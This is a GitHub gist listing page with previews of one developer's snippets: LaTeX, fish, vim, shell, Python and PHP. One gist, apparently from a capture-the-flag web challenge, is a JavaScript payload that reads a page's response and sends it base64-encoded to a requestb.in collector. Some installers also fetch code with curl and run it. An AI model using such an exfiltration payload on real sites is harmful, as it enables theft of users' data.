Skip to content

Instantly share code, notes, and snippets.

View enricobacis's full-sized avatar

Enrico Bacis enricobacis

View GitHub Profile
@enricobacis
enricobacis / main.tex
Last active November 24, 2021 21:51
UniBG PhD Thesis Template (for enhanced version)
% This should produce something similar to what is shown in the DocX file at:
% https://aisberg.unibg.it/sr/docs/CollanaSAFD/CollanaDottorato_presentazione.html
\documentclass[12pt,a4paper,twoside,openright,oldfontcommands]{memoir}
% Set page dimension and line spacing.
\usepackage[top=2.5cm, bottom=2.0cm, left=2.0cm, right=2.0cm, a4paper]{geometry}
\linespread{1.5}
% Do not reset figures/tables counter per chapter
@enricobacis
enricobacis / fisher-install.fish
Last active May 2, 2018 14:22
install fisherman
echo "[*] Downloading fisherman ...";
test -z "$XDG_CONFIG_HOME"; and set XDG_CONFIG_HOME ~/.config;
curl -sfLo $XDG_CONFIG_HOME/fish/functions/fisher.fish --create-dirs https://git.io/fisher; and fish -c "fisher"; and exec fish;
# leave the semicolons at the end of the lines, they are needed by eval
@enricobacis
enricobacis / test_timers.vim
Created October 24, 2017 10:12
test_timers.vim
let g:val = 0
function! MyHandler(timer)
let g:val += 1
endfunction
let timer = timer_start(50, 'MyHandler', {'repeat': -1})
sleep 10000m
call timer_stop(timer)
@enricobacis
enricobacis / install.sh
Last active August 26, 2021 16:39
openstack installation on CentOS 7
#!/bin/bash
ifconfig
read -p "Enter your external interface: " EXT_INTER
# do not edit after this line
set -x # enable echo
sudo yum install -y epel-release
sudo yum install -y vim git tmux bash-completion net-tools htop psmisc
@enricobacis
enricobacis / ltmux
Created February 21, 2017 11:06
lazy tmux
#!/bin/bash
WHOAMI=$(whoami)
if tmux has-session -t $WHOAMI 2>/dev/null; then
tmux -2 attach-session -t $WHOAMI
else
tmux -2 new-session -s $WHOAMI
fi
@enricobacis
enricobacis / command-line-printing.md
Created January 4, 2017 11:00
command-line-printing in Unix/OSX

command-line-printing

to print the file filename.pdf using the default printer:

lpr filename.pdf

you can also specify the printer name using -P printername:

lpr -P printername filename.pdf

@enricobacis
enricobacis / errorlog.py
Created November 30, 2016 14:05
Overwrite python's logging.error to log also args
from functools import wraps
import logging
import inspect
# save the old logging.error function
__logging_error = logging.error
@wraps(logging.error)
def error(msg, *args, **kwargs):
__logging_error(msg, *args, **kwargs)
@enricobacis
enricobacis / a.js
Last active November 11, 2016 08:35
var y=document.domain="web200.dctf-finals16.def.camp";
var r=new XMLHttpRequest();
r.onreadystatechange=function(){
var x=new XMLHttpRequest();
x.open("GET","//requestb.in/x4317nx4?v=" + btoa(r.responseText));
x.send();
alert(r.responseText);
};
<?php
/*
+----------------------------------------------------------------------+
| APC |
+----------------------------------------------------------------------+
| Copyright (c) 2006-2011 The PHP Group |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
@enricobacis
enricobacis / install-fundle.fish
Last active April 6, 2016 07:19
install-fundle.fish
echo "[Downloading fundle ...]"
mkdir -p ~/.config/fish/functions
curl --fail --progress-bar --location https://git.io/fundle > ~/.config/fish/functions/fundle.fish \
&& fish -c "fundle install" \
&& exec fish